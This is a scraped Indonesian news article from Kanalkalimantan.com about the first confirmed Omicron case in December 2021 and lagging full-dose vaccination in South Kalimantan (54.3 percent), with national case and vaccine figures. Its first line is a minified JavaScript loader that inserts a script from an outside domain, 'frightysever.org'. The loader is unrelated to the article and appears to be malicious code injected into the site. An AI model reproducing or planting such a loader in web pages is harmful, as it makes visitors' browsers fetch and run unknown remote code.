(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Pemerintah telah mengkonfirmasi kasus pertama Covid-19 Varian Omicron pada Kamis (16/12/2021), tapi baru sejumlah tiga provinsi di Indonesia yang cakupan vaksinasi dosis lengkapnya lebih dari 70 persen. Sementara Kalimantan Selatan (Kalsel) belum mencapai standar tersebut, karena baru mencapai 54,3 persen.
Beberapa ahli menyampaikan bahwa vaksinasi sangat berperan penting untuk mengurangi dampak atau gejala jika terinfeksi varian baru Covid-19 termasuk omicron.
“Sayangnya, saat ini baru tiga provinsi yang vaksinasi dosis lengkapnya telah mencapai 70 persen, yaitu Kepulauan Riau, DI Yogyakarta, dan Bali,” kata Juru Bicara Satgas Covid-19, Wiku Adisasmito, Kamis (16/12/2021), dilansir Suara.com, mitra media Kanalkalimantan.com.
Cakupan vaksinasi dosis lengkap di 31 provinsi lainnya masih di bawah 70 persen, bahkan 19 provinsi di antaranya masih di bawah target Organisasi Kesehatan Dunia (WHO) yakni 40 persen.
Baca juga : Korea Utara, Negara yang Penuh Kontroversi
“19 Provinsi yang capaiannya masih di bawah target WHO,” ungkap Wiku.
Dia meminta masyarakat untuk menjaga disiplin protokol kesehatan sebab pencegahan omicron tetap sama yakni dengan 5M; memakai masker, menjaga jarak, mencuci tangan, menjauhi kerumunan, dan mengurangi mobilitas. Serta segera mendapatkan vaksinasi di fasilitas pelayanan kesehatan terdekat agar terlindungi dari ancaman lonjakan kasus Covid-19.
Sementara itu, Kepala Dinas Kesehatan Provinsi Kalimantan Selatan, Muslim, mengatakan berupaya menggenjot capaian vaksinasi yang baru mencapai 54,3 persen. Ia menyatakan dalam 15 hari kedepan, Kalsel harus mencapai target vaksinasi 70 persen.
“Oleh karena itu, pada hari ini ada 800 orang yang mengikuti vaksinasi di Desa Sungai Tabuk,” ujarnya dikutip dari Media Centre Kalsel, Senin (13/12/2021).
Dia menambahkan, masyarakat Kabupaten Banjar telah didata hingga per kecamatan, kelurahan dan desa untuk segera di vaksin. “Jadi perlu kerjasama semua pihak untuk mencapai target tersebut. Kalau perlu 15 hari ini disetiap kabupaten bisa bergerak minimal 1 persen. Semoga akhir tahun dapat tercapai,” terangnya.
Baca juga : Korea Utara dengan Segala Kontroversinya, Kim Jong Un Larang Warganya Tertawa 11 Hari!
Diketahui, pandemi Covid-19 telah menginfeksi 4.259.857 orang Indonesia, masih terdapat 4.833 kasus aktif, 4.111.045 orang sudah dinyatakan sembuh, dan 143.979 jiwa meninggal dunia.
Pemerintah juga telah menyuntikkan 149,205,571 dosis (71.64 persen) vaksin pertama dan 105,238,121 dosis (50.53 persen) vaksin kedua kepada masyarakat yang tersebar di seluruh wilayah Indonesia.
Sementara total sasaran vaksin adalah 208.265.720 atau 70 persen warga Indonesia yang ditargetkan Presiden Joko Widodo atau Jokowi harus selesai dalam waktu satu tahun untuk mencapai kekebalan kelompok atau herd immunity. (Kanalkalimantan.com/kk)
Reporter : kk
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.